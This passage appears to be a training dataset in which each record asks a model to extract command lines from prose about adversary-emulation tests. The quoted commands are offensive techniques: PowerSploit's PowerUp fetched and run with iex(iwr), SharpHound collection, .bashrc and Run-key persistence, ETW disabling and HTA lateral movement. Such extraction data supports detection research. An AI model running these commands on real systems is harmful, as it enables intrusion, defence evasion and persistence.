\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To append a command to the current user's .bashrc file, use the following command: echo '#{command_to_add}' >> ~/.bashrc\n",
    "output": "{\"command_list\": [\"echo '#{command_to_add}' >> ~/.bashrc\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test will verify and remove a user from the domain admins group with the command: $PWord = ConvertTo-SecureString -String #{super_pass} -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{super_user}, $PWord\nif((Get-ADUser #{remove_user} -Properties memberof).memberof -like \"CN=Domain Admins*\"){\n  Remove-ADGroupMember -Identity \"Domain Admins\" -Members #{remove_user} -Credential $Credential -Confirm:$False\n} else{\n    write-host \"Error - Make sure #{remove_user} is in the domain admins group\" -foregroundcolor Red\n}",
    "output": "{\"command_list\": [\"$PWord = ConvertTo-SecureString -String #{super_pass} -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{super_user}, $PWord\\nif((Get-ADUser #{remove_user} -Properties memberof).memberof -like \\\"CN=Domain Admins*\\\"){\\n  Remove-ADGroupMember -Identity \\\"Domain Admins\\\" -Members #{remove_user} -Credential $Credential -Confirm:$False\\n} else{\\n    write-host \\\"Error - Make sure #{remove_user} is in the domain admins group\\\" -foregroundcolor Red\\n}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Group Policy startup scripts can be executed with this command: Gpscript /startup",
    "output": "{\"command_list\": [\"Gpscript /startup\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Disabling ETW for the .NET Framework involves modifying the HKLM registry with this command: New-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" -Name COMPlus_ETWEnabled -Value 0 -PropertyType \"String\" -Force. Keep in mind that a reboot may be required for the changes to apply.",
    "output": "{\"command_list\": [\"New-ItemProperty -Path \\\"HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Environment\\\" -Name COMPlus_ETWEnabled -Value 0 -PropertyType \\\"String\\\" -Force\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test modifies the HKLM hive by adding a Run key, which can be done with the command:\nsecedit /import /db #{secedit_db} /cfg \"#{ini_file}\"\nsecedit /configure /db #{secedit_db}\n",
    "output": "{\"command_list\": [\"secedit /import /db #{secedit_db} /cfg \\\"#{ini_file}\\\"\\nsecedit /configure /db #{secedit_db}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation runs an HTA Application with the JScript engine, simulating lateral movement through a local UNC path by executing the command: Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -AsLocalUNCPath -SimulateLateralMovement -MSHTAFilePath #{mshta_file_path}",
    "output": "{\"command_list\": [\"Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -AsLocalUNCPath -SimulateLateralMovement -MSHTAFilePath #{mshta_file_path}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation spawns cmd.exe to list all firewall rules via stdout with the command: netsh advfirewall firewall show rule name=all",
    "output": "{\"command_list\": [\"netsh advfirewall firewall show rule name=all\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique leverages a specially crafted ie4uinit.inf file by running these commands: copy #{Path_ie4uinit} %TEMP%\\ie4uinit.exe\ncopy \"#{Path_inf}\" %TEMP%\\ieuinit.inf\n%TEMP%\\ie4uinit.exe -BaseSettings",
    "output": "{\"command_list\": [\"copy #{Path_ie4uinit} %TEMP%\\\\ie4uinit.exe\\ncopy \\\"#{Path_inf}\\\" %TEMP%\\\\ieuinit.inf\\n%TEMP%\\\\ie4uinit.exe -BaseSettings\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    